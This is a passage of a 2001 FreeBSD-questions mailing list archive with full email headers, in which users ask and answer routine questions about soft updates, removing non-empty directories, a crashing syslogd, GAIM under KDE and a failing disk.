From owner-freebsd-questions Sun Nov 18 0:17:22 2001 Delivered-To: freebsd-questions@freebsd.org Received: from lamia.lf.net (lamia.LF.net [212.9.190.31]) by hub.freebsd.org (Postfix) with ESMTP id 428F237B405 for ; Sun, 18 Nov 2001 00:17:19 -0800 (PST) Received: by lamia.lf.net (Smail3.2.0.111/lamia.lf.net) via LF.net GmbH Internet Services for hub.FreeBSD.ORG id m165N6k-001Sq7C; Sun, 18 Nov 2001 09:15:18 +0100 (CET) To: cjclark@alum.mit.edu Cc: questions@FreeBSD.ORG Subject: Re: ipfw/natd & ftp References: <20011115234015.GA53683@keyslapper.org> <20011116015519.E9851@blossom.cjclark.org> <20011116144127.GA57377@keyslapper.org> <20011117141935.E63067@blossom.cjclark.org> Organization: LF.net GmbH, Stuttgart, Germany X-Attribution: viteno X-NCC-RegID: de.lfnet X-URL: http://www.LF.net/ X-Face: 5*nyF1\39:,h6Sk1<}(t1O5x!y5y6@XzBRq5LAYj;Xzb*Ak,]@$HL@>: c&#dUFU=U8O(+/6T0k{j{1~uS@GVk4zurEEb.~MoSbG2pM4z!~/<@.tcd `uD`fNR+TM\@++x@!/Bq)24"xD_kGn,jqwVQa|R'|FFxgWa+$0x]p>KE9E /Xk0$%a*2*K]"zOtbk9v0sNgwb2H"IOaEjCVolb5&yW`o#w2}!w!M{Dn&{K0t From: Norbert Koch Date: Sun, 18 Nov 2001 09:15:18 +0100 In-Reply-To: <20011117141935.E63067@blossom.cjclark.org> ("Crist J. Clark"'s message of "Sat, 17 Nov 2001 14:19:35 -0800") Message-ID: Lines: 8 User-Agent: Gnus/5.090004 (Oort Gnus v0.04) XEmacs/21.5 (asparagus, i386-unknown-freebsd4.4) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG "Crist J. Clark" writes: > What? Where is this coming from? cvsup(1) does not use any other > programs to download files. Umpf, brainfart, sorry. norbert. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sun Nov 18 0:19:56 2001 Delivered-To: freebsd-questions@freebsd.org Received: from florida-wireless.com (mailserver.florida-wireless.com [208.62.145.34]) by hub.freebsd.org (Postfix) with ESMTP id EEB5637B416 for ; Sun, 18 Nov 2001 00:19:54 -0800 (PST) Date: Sun, 18 Nov 2001 03:22:53 -0500 Message-Id: <200111180322.AA194117768@florida-wireless.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii From: "brain_damaged" Reply-To: To: Subject: Removing dirs that aren't empty X-Mailer: Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Hello, How can I remove a directory and its sub dirs all at once when the subs are not empty ? I did not see a option in man rmdir to remove dir not empty. thanks md To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sun Nov 18 0:20:24 2001 Delivered-To: freebsd-questions@freebsd.org Received: from femail10.sdc1.sfba.home.com (femail10.sdc1.sfba.home.com [24.0.95.106]) by hub.freebsd.org (Postfix) with ESMTP id 2236B37B417 for ; Sun, 18 Nov 2001 00:20:21 -0800 (PST) Received: from geocities.com ([24.78.180.186]) by femail10.sdc1.sfba.home.com (InterMail vM.4.01.03.20 201-229-121-120-20010223) with ESMTP id <20011118082020.FQZO3832.femail10.sdc1.sfba.home.com@geocities.com> for ; Sun, 18 Nov 2001 00:20:20 -0800 Message-ID: <3BF76FE3.1A3FC020@geocities.com> Date: Sun, 18 Nov 2001 00:22:59 -0800 From: steve X-Mailer: Mozilla 4.76 [en] (X11; U; FreeBSD 4.2-RELEASE i386) X-Accept-Language: en MIME-Version: 1.0 To: freebsd-questions@FreeBSD.ORG Subject: Soft update questions. References: <001801c17002$5ce82dd0$3000a8c0@sickness> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Hello, I have a few questions about soft updates. [1] I did the following to enable soft updates - hit space bar during boot up - boot -s to enter single user mode - hit enter to accept default shell - tunefs -n enable / - tunefs -n enable /usr - tunefs -n enable /var - tunefs -n enable /tmp <--- *** - reboot When I do the above, for /tmp, I get: tunefs: /tmp : not a block or character device [2] I read that once tunefs is enabled, it stays enabled even after reboot. But not after power off/on right? [3] Where in /etc should I put a script to enable soft updates during boot up? Thanks Steve To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sun Nov 18 0:20:43 2001 Delivered-To: freebsd-questions@freebsd.org Received: from ash25.adelaide.on.net (mail.internode.on.net [203.16.214.248]) by hub.freebsd.org (Postfix) with ESMTP id 7ECDB37B418 for ; Sun, 18 Nov 2001 00:20:29 -0800 (PST) Received: from slick ([150.101.145.34]) by internode.on.net (PMDF V6.0-24 #37831) with SMTP id <01KAUYJXS3HS003HJH@internode.on.net> for questions@freebsd.org; Sun, 18 Nov 2001 18:49:43 +1030 Date: Sun, 18 Nov 2001 18:53:28 +1030 From: Alex Subject: syslogd To: buga@lemis.com Cc: questions@freebsd.org Message-id: <001d01c1700a$4d26d920$31906596@slick> MIME-version: 1.0 X-MIMEOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 X-Mailer: Microsoft Outlook Express 6.00.2600.0000 Content-type: multipart/alternative; boundary="----=_NextPart_000_001A_01C17062.4F31BC50" X-Priority: 3 X-MSMail-priority: Normal Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG This is a multi-part message in MIME format. ------=_NextPart_000_001A_01C17062.4F31BC50 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Howdy, I have an issue with syslogd that I'm not sure how to resolve. I'm running 5.0-CURRENT: I get this dmsg error: pid 207 (syslogd), uid 0; exited on signal 6 (core dumped). I have checked the Bug Tracking archives at www.au.freebsd.org and found = nothing that talks about a broken syslogd. This is happening on 2 machines with the same 5.0-CURRENT snapshot, = suggesting that syslogd is broken. Does anyone know about this ? (And yes I have scaled the mail archives = of -CURRENT) If I start the syslogd from the shell I get this error: syslogd: cannot create /var/run/log: Invalid argument syslogd: child pid 516 exited with return code 1 Question: Where do I start to begin to solve this ? - Alex=20 ------=_NextPart_000_001A_01C17062.4F31BC50 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
Howdy,
 
I have an issue with syslogd that I'm = not sure how=20 to resolve.
 
 
I'm running 5.0-CURRENT:
 
I get this dmsg error:
 
pid 207 (syslogd), uid 0; exited on = signal 6 (core=20 dumped).
 
I have checked the Bug Tracking = archives at www.au.freebsd.org and found=20 nothing
that talks about a broken = syslogd.
 
This is happening on 2 machines with = the same=20 5.0-CURRENT snapshot, suggesting that syslogd is broken.
Does anyone know about this ? (And yes = I have=20 scaled the mail archives of -CURRENT)
 
If I start the syslogd from the shell I = get this=20 error:
 
 syslogd: cannot create = /var/run/log: Invalid=20 argument
 syslogd: child pid 516 exited = with return=20 code 1
 
Question:
 
Where do I start to begin to solve this = ?
 
  - Alex
 
 
------=_NextPart_000_001A_01C17062.4F31BC50-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sun Nov 18 0:23:29 2001 Delivered-To: freebsd-questions@freebsd.org Received: from ambrosa.dns04.com (niu1mms-156-094.cso.niu.edu [131.156.156.94]) by hub.freebsd.org (Postfix) with ESMTP id 4DC5E37B416 for ; Sun, 18 Nov 2001 00:23:27 -0800 (PST) Received: by ambrosa.dns04.com (Postfix, from userid 1000) id 3272E3DB5; Sun, 18 Nov 2001 02:25:40 -0600 (CST) Date: Sun, 18 Nov 2001 02:25:39 -0600 From: Craig Van Tassle To: freebsd-questions@freebsd.org Subject: [brain_damaged@florida-wireless.com: Removing dirs that aren't empty] Message-ID: <20011118022539.A24672@ambrosa.dns04.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG >Hello, >How can I remove a directory and its sub dirs all at once when the subs are not empty ? > >I did not see a option in man rmdir to remove dir not empty. > >thanks >md Well you could just do a rm -fr /dir/to/be/deleted but be carefull with that it is possible to remove a lot more then you think. if in question go thought the dirs manualy removing any files Craig To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sun Nov 18 1: 1:34 2001 Delivered-To: freebsd-questions@freebsd.org Received: from hamberg.it.uu.se (hamberg.it.uu.se [130.238.9.198]) by hub.freebsd.org (Postfix) with ESMTP id F1A0737B405 for ; Sun, 18 Nov 2001 01:01:27 -0800 (PST) Received: (from ertr1013@localhost) by hamberg.it.uu.se (8.8.5/8.8.5) id KAA11076; Sun, 18 Nov 2001 10:01:14 +0100 (MET) Date: Sun, 18 Nov 2001 10:01:14 +0100 From: Erik Trulsson To: "brain_damaged" Cc: Subject: Re: Removing dirs that aren't empty Message-ID: <20011118100114.A10764@student.uu.se> References: <200111180322.AA194117768@florida-wireless.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <200111180322.AA194117768@florida-wireless.com>; from brain_damaged@florida-wireless.com on Sun, Nov 18, 2001 at 03:22:53AM -0500 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Sun, Nov 18, 2001 at 03:22:53AM -0500, brain_damaged wrote: > Hello, > How can I remove a directory and its sub dirs all at once when the subs are not empty ? > > I did not see a option in man rmdir to remove dir not empty. rm -fr dir_to_remove -- Erik Trulsson ertr1013@student.uu.se To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sun Nov 18 1:33:13 2001 Delivered-To: freebsd-questions@freebsd.org Received: from hamberg.it.uu.se (hamberg.it.uu.se [130.238.9.198]) by hub.freebsd.org (Postfix) with ESMTP id 8724237B417 for ; Sun, 18 Nov 2001 01:33:10 -0800 (PST) Received: (from ertr1013@localhost) by hamberg.it.uu.se (8.8.5/8.8.5) id KAA12738; Sun, 18 Nov 2001 10:33:05 +0100 (MET) Date: Sun, 18 Nov 2001 10:33:05 +0100 From: Erik Trulsson To: steve Cc: freebsd-questions@FreeBSD.ORG Subject: Re: Soft update questions. Message-ID: <20011118103305.A12483@student.uu.se> References: <001801c17002$5ce82dd0$3000a8c0@sickness> <3BF76FE3.1A3FC020@geocities.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <3BF76FE3.1A3FC020@geocities.com>; from schan_ca@geocities.com on Sun, Nov 18, 2001 at 12:22:59AM -0800 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Sun, Nov 18, 2001 at 12:22:59AM -0800, steve wrote: > Hello, I have a few questions about soft updates. > > [1] I did the following to enable soft updates > - hit space bar during boot up > - boot -s to enter single user mode > - hit enter to accept default shell > - tunefs -n enable / > - tunefs -n enable /usr > - tunefs -n enable /var > - tunefs -n enable /tmp <--- *** > - reboot > > When I do the above, for /tmp, I get: > tunefs: /tmp : not a block or character device I guess /tmp is not a filesystem but just a normal directory. What is the contents of /etc/fstab ? > > [2] I read that once tunefs is enabled, it stays enabled > even after reboot. But not after power off/on right? Yes, it does stay enabled. If softupdates is enabled or not is stored on the disk. > > [3] Where in /etc should I put a script to enable soft updates > during boot up? Nowhere. It is not necessary. If in doubt just give the command 'mount' which shows all mounted filesystems and is softupdates is enabled it will say so. -- Erik Trulsson ertr1013@student.uu.se To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sun Nov 18 1:53:31 2001 Delivered-To: freebsd-questions@freebsd.org Received: from fepZ.post.tele.dk (fepz.post.tele.dk [195.41.46.133]) by hub.freebsd.org (Postfix) with ESMTP id 1EFE337B418 for ; Sun, 18 Nov 2001 01:53:29 -0800 (PST) Received: from there ([62.243.124.243]) by fepZ.post.tele.dk (InterMail vM.4.01.03.23 201-229-121-123-20010418) with SMTP id <20011118095327.PGMZ395.fepZ.post.tele.dk@there> for ; Sun, 18 Nov 2001 10:53:27 +0100 Content-Type: text/plain; charset="iso-8859-1" From: Bjarne Wichmann Petersen To: freebsd-questions@freebsd.org Subject: Running GAIM without Gnome? Date: Sun, 18 Nov 2001 10:53:45 +0100 X-Mailer: KMail [version 1.3.1] MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Message-Id: <20011118095327.PGMZ395.fepZ.post.tele.dk@there> Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Is it possible to run GAIM (from ports) without getting Gnome, panel and everything that is gnome started? I'm using KDE as my desktop, so having all these panels are a bit annoying... Bjarne To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sun Nov 18 1:56:32 2001 Delivered-To: freebsd-questions@freebsd.org Received: from berbee.com (berbee.com [205.173.176.16]) by hub.freebsd.org (Postfix) with ESMTP id 0B9CA37B416 for ; Sun, 18 Nov 2001 01:56:30 -0800 (PST) Received: from there (aronkd@cl3079007-a.mdsn1.wi.home.com [65.3.254.217]) by berbee.com (8.11.2/8.11.2) with SMTP id fAI9uRS15601; Sun, 18 Nov 2001 03:56:27 -0600 Message-Id: <200111180956.fAI9uRS15601@berbee.com> Content-Type: text/plain; charset="iso-8859-1" From: Rob Zietlow To: Bjarne Wichmann Petersen Subject: Re: Running GAIM without Gnome? Date: Sun, 18 Nov 2001 03:56:11 -0600 X-Mailer: KMail [version 1.3.1] References: <20011118095327.PGMZ395.fepZ.post.tele.dk@there> In-Reply-To: <20011118095327.PGMZ395.fepZ.post.tele.dk@there> Cc: freebsd-questions@freebsd.org MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Sunday 18 November 2001 03:53 am, you wrote: > Is it possible to run GAIM (from ports) without getting Gnome, panel and > everything that is gnome started? I'm using KDE as my desktop, so having > all these panels are a bit annoying... > > Bjarne > I'm doing it fine right now, it doesn't normally build up the gnome panel unless it sees gnome is installed (at least in my experience). > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-questions" in the body of the message To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sun Nov 18 2: 4:22 2001 Delivered-To: freebsd-questions@freebsd.org Received: from obsecurity.dyndns.org (adsl-64-165-226-105.dsl.lsan03.pacbell.net [64.165.226.105]) by hub.freebsd.org (Postfix) with ESMTP id C3ED537B405 for ; Sun, 18 Nov 2001 02:04:18 -0800 (PST) Received: by obsecurity.dyndns.org (Postfix, from userid 1000) id 31DC866C2B; Sun, 18 Nov 2001 02:04:18 -0800 (PST) Date: Sun, 18 Nov 2001 02:04:17 -0800 From: Kris Kennaway To: Henry smith Cc: Edwin Groothuis , freebsd-questions@FreeBSD.ORG Subject: Re: converter ? Message-ID: <20011118020417.A92592@xor.obsecurity.org> References: <20011118165135.A58388@k7.mavetju.org> <20011118074328.25855.qmail@web21105.mail.yahoo.com> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-md5; protocol="application/pgp-signature"; boundary="xHFwDpU9dbj6ez1V" Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <20011118074328.25855.qmail@web21105.mail.yahoo.com>; from getzz11@yahoo.com on Sat, Nov 17, 2001 at 11:43:27PM -0800 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG --xHFwDpU9dbj6ez1V Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Sat, Nov 17, 2001 at 11:43:27PM -0800, Henry smith wrote: >=20 > If I compile the TCL into binary code, can I still use > the binary code from C application ? >=20 > I have tried to put #include "tcl.binary" but it > returns an error. Is there any idea ? Well, that's obviously not how you do it :) You should ask this question on a TCL support mailing list since it's not a FreeBSD question. Kris --xHFwDpU9dbj6ez1V Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (FreeBSD) Comment: For info see http://www.gnupg.org iD8DBQE794ehWry0BWjoQKURAkiTAJ4mKw3GHq69QjgcTaVb/sEQfcxZIgCfbYFi 3gqeOiWkCpFFrKelPh4tbhA= =Hnf3 -----END PGP SIGNATURE----- --xHFwDpU9dbj6ez1V-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sun Nov 18 2:26:49 2001 Delivered-To: freebsd-questions@freebsd.org Received: from web10407.mail.yahoo.com (web10407.mail.yahoo.com [216.136.130.99]) by hub.freebsd.org (Postfix) with SMTP id DA02B37B416 for ; Sun, 18 Nov 2001 02:26:46 -0800 (PST) Message-ID: <20011118102646.6382.qmail@web10407.mail.yahoo.com> Received: from [24.151.67.151] by web10407.mail.yahoo.com via HTTP; Sun, 18 Nov 2001 02:26:46 PST Date: Sun, 18 Nov 2001 02:26:46 -0800 (PST) From: Dylan Carlson Reply-To: absinthe@pobox.com Subject: Re: Soft update questions. To: steve , freebsd-questions@FreeBSD.ORG In-Reply-To: <3BF76FE3.1A3FC020@geocities.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG You can't add softupdates to swap space. --- steve wrote: > Hello, I have a few questions about soft updates. > > [1] I did the following to enable soft updates > - hit space bar during boot up > - boot -s to enter single user mode > - hit enter to accept default shell > - tunefs -n enable / > - tunefs -n enable /usr > - tunefs -n enable /var > - tunefs -n enable /tmp <--- *** > - reboot > > When I do the above, for /tmp, I get: > tunefs: /tmp : not a block or character device > > [2] I read that once tunefs is enabled, it stays enabled > even after reboot. But not after power off/on right? > > [3] Where in /etc should I put a script to enable soft updates > during boot up? > > Thanks > Steve > > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-questions" in the body of the message __________________________________________________ Do You Yahoo!? Find the one for you at Yahoo! Personals http://personals.yahoo.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sun Nov 18 2:51: 0 2001 Delivered-To: freebsd-questions@freebsd.org Received: from femail18.sdc1.sfba.home.com (femail18.sdc1.sfba.home.com [24.0.95.145]) by hub.freebsd.org (Postfix) with ESMTP id 5AE5B37B416 for ; Sun, 18 Nov 2001 02:50:57 -0800 (PST) Received: from geocities.com ([24.78.180.186]) by femail18.sdc1.sfba.home.com (InterMail vM.4.01.03.20 201-229-121-120-20010223) with ESMTP id <20011118105056.PNUB761.femail18.sdc1.sfba.home.com@geocities.com> for ; Sun, 18 Nov 2001 02:50:56 -0800 Message-ID: <3BF7932F.8894FEE9@geocities.com> Date: Sun, 18 Nov 2001 02:53:35 -0800 From: steve X-Mailer: Mozilla 4.76 [en] (X11; U; FreeBSD 4.2-RELEASE i386) X-Accept-Language: en MIME-Version: 1.0 To: freebsd-questions@FreeBSD.ORG Subject: Re: Soft update questions. References: <001801c17002$5ce82dd0$3000a8c0@sickness> <3BF76FE3.1A3FC020@geocities.com> <20011118103305.A12483@student.uu.se> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Thanks Dude. Erik Trulsson wrote: > On Sun, Nov 18, 2001 at 12:22:59AM -0800, steve wrote: > > Hello, I have a few questions about soft updates. > > > > [1] I did the following to enable soft updates > > - hit space bar during boot up > > - boot -s to enter single user mode > > - hit enter to accept default shell > > - tunefs -n enable / > > - tunefs -n enable /usr > > - tunefs -n enable /var > > - tunefs -n enable /tmp <--- *** > > - reboot > > > > When I do the above, for /tmp, I get: > > tunefs: /tmp : not a block or character device > > I guess /tmp is not a filesystem but just a normal directory. > What is the contents of /etc/fstab ? Oops, you're right. There is no /tmp mount point in /etc/fstab. > > > > > [2] I read that once tunefs is enabled, it stays enabled > > even after reboot. But not after power off/on right? > > Yes, it does stay enabled. If softupdates is enabled or not is stored on > the disk. > > > > > [3] Where in /etc should I put a script to enable soft updates > > during boot up? > > Nowhere. It is not necessary. If in doubt just give the command 'mount' > which shows all mounted filesystems and is softupdates is enabled it will > say so. > You're right again. /dev/ad2s2a on / (ufs, local, soft-updates) /dev/ad2s2f on /usr (ufs, local, soft-updates) /dev/ad2s2e on /var (ufs, local, soft-updates) Thanks again. Steve To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sun Nov 18 3:30: 8 2001 Delivered-To: freebsd-questions@freebsd.org Received: from topaz.mdcc.cx (topaz.mdcc.cx [212.204.230.141]) by hub.freebsd.org (Postfix) with ESMTP id 24E6837B405 for ; Sun, 18 Nov 2001 03:30:00 -0800 (PST) Received: from k7.mavetju.org (topaz.mdcc.cx [212.204.230.141]) by topaz.mdcc.cx (Postfix) with ESMTP id 07B6A2B77F; Sun, 18 Nov 2001 12:29:56 +0100 (CET) Received: by k7.mavetju.org (Postfix, from userid 1001) id 7F655F7; Sun, 18 Nov 2001 22:29:45 +1100 (EST) Date: Sun, 18 Nov 2001 22:29:45 +1100 From: Edwin Groothuis To: Alex Cc: buga@lemis.com, questions@freebsd.org Subject: Re: syslogd Message-ID: <20011118222945.A58389@k7.mavetju.org> References: <001d01c1700a$4d26d920$31906596@slick> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <001d01c1700a$4d26d920$31906596@slick>; from lex@internode.on.net on Sun, Nov 18, 2001 at 06:53:28PM +1030 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Sun, Nov 18, 2001 at 06:53:28PM +1030, Alex wrote: > > I'm running 5.0-CURRENT: > > I get this dmsg error: > > pid 207 (syslogd), uid 0; exited on signal 6 (core dumped). > Where do I start to begin to solve this ? You have a core, maybe you should/could investigate that a little more. Can you reproduce it? Maybe it's a specific message? Does your syslogd accept messages from everywhere or only from the machine itself? Edwin -- Edwin Groothuis | Personal website: http://www.MavEtJu.org edwin@mavetju.org | Interested in MUDs? Visit Fatal Dimensions: ------------------+ http://www.FatalDimensions.org/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sun Nov 18 3:48:36 2001 Delivered-To: freebsd-questions@freebsd.org Received: from bdg.centrin.net.id (DialupBdg245-141.centrin.net.id [202.146.245.141]) by hub.freebsd.org (Postfix) with ESMTP id D337937B417 for ; Sun, 18 Nov 2001 03:48:30 -0800 (PST) Received: by bdg.centrin.net.id (Postfix, from userid 1000) id 0A687D5B3; Sun, 18 Nov 2001 18:56:30 +0700 (JAVT) Date: Sun, 18 Nov 2001 18:56:30 +0700 From: budsz To: freebsd-questions@FreeBSD.ORG Subject: How about this? Message-ID: <20011118185630.A2007@bdg.centrin.net.id> Reply-To: budsz Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.3.22.1i X-Fingerprint: A05A 268C 3CD4 ABBD D9EB 11E1 F64C 4B4E 6269 5304 X-Pub-keys: http://bdg.centrin.net.id/~budsan02/pubkey.txt X-Verify: MD5 (pubkey.txt) = 999274d3ae770caf0d77ce5796ed201e X-uptime: 6:52PM up 2:03, 6 users, load averages: 0.13, 0.21, 0.20 X-Operation-System: FreeBSD 4.3-STABLE i386 X-Organization: Kumprang X-Provide: Warnet & Game Network X-Address: Melong No 29 Bandung 40261 West Java Indonesia Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Hi, How your opinion bout this test..? http://www.byte.com/documents/s=1794/byt20011107s0001/1112_moshe.html TIA -- budsz To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sun Nov 18 3:51:13 2001 Delivered-To: freebsd-questions@freebsd.org Received: from mta03-svc.ntlworld.com (mta03-svc.ntlworld.com [62.253.162.43]) by hub.freebsd.org (Postfix) with ESMTP id BFEB337B436 for ; Sun, 18 Nov 2001 03:51:04 -0800 (PST) Received: from lungfish.ntlworld.com ([62.253.144.151]) by mta03-svc.ntlworld.com (InterMail vM.4.01.03.13 201-229-121-113) with ESMTP id <20011118115102.MBUV14952.mta03-svc.ntlworld.com@lungfish.ntlworld.com>; Sun, 18 Nov 2001 11:51:02 +0000 Received: from boog.goatsucker.org (boog.goatsucker.org [192.168.1.3]) by lungfish.ntlworld.com (8.11.3/8.11.3) with ESMTP id fAIBp0867324; Sun, 18 Nov 2001 11:51:00 GMT (envelope-from scott@boog.goatsucker.org) Received: (from scott@localhost) by boog.goatsucker.org (8.9.3/8.9.3) id LAA25343; Sun, 18 Nov 2001 11:50:25 GMT (envelope-from scott) Date: Sun, 18 Nov 2001 11:50:25 +0000 From: Scott Mitchell To: David Loszewski Cc: freebsd-questions@FreeBSD.ORG Subject: Re: harddrive error Message-ID: <20011118115024.I272@localhost> References: <5.1.0.14.0.20011117171619.00bab6a0@pop-server.nyc.rr.com> <001801c17002$5ce82dd0$3000a8c0@sickness> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.4i In-Reply-To: <001801c17002$5ce82dd0$3000a8c0@sickness>; from stealth215@mediaone.net on Sun, Nov 18, 2001 at 02:26:39AM -0500 X-Operating-System: FreeBSD 4.1-RELEASE i386 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Sun, Nov 18, 2001 at 02:26:39AM -0500, David Loszewski wrote: > K, well, I've tried switching the cables, I've tried reinstalling and > I'm still getting the same problem; I'm finding it hard to believe that > this disk is bad considering that when I had Linux installed on it, it > was working fine without any read errors. Well, it might have been failing for a while, and finally run out of replacement blocks for all the bad ones. Modern drives do bad block replacement automatically in the background, so when they start whining about read errors you probably really do have a problem :-( Fsck just verifies filesystem integrity -- ie, that all your files and directories are glued together properly. I don't think it ever needs to read every block on the disk so it's not necessarily going to turn up any hardware problems. Although it might; I've certainly had failed disks that would fail a fsck -- I guess it just depends where the bad blocks are. > Also since I'm on an extremely low budget I'm not exactly looking forward > to going out and buying a new harddrive. Anyone have any ideas? Anything > would be usefull. I also did a fsck on it and it didn't come up with any > errors that I could see. Don't know if that helps. You can probably download some kind of disk checking software from your drive manufacturer's web site. That should at least tell you whether you do have a hardware problem or not, and the manufacturers often like to see the results from such tests when you send a drive in for warranty replacement. If the drive fails and it's still under warranty, time to get a new one for free; if not, well... BTW, the drive tester may well offer to do some kind of low-level format on the drive to 'repair' it. This may well appear to work, but if my experience is anything to go by, a genuinely bad drive will just start failing again soon after, so I wouldn't bother. HTH, Scott -- =========================================================================== Scott Mitchell | PGP Key ID | "Eagles may soar, but weasels Cambridge, England | 0x54B171B9 | don't get sucked into jet engines" scott.mitchell@mail.com | 0xAA775B8B | -- Anon To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sun Nov 18 3:52:20 2001 Delivered-To: freebsd-questions@freebsd.org Received: from moutvdom00.kundenserver.de (moutvdom00.kundenserver.de [195.20.224.149]) by hub.freebsd.org (Postfix) with ESMTP id EC87D37B405 for ; Sun, 18 Nov 2001 03:52:16 -0800 (PST) Received: from [195.20.224.209] (helo=mrvdom02.schlund.de) by moutvdom00.kundenserver.de with esmtp (Exim 2.12 #2) id 165QUi-000267-00 for freebsd-questions@freebsd.org; Sun, 18 Nov 2001 12:52:16 +0100 Received: from pd9017251.dip.t-dialin.net ([217.1.114.81]) by mrvdom02.schlund.de with esmtp (Exim 2.12 #2) id 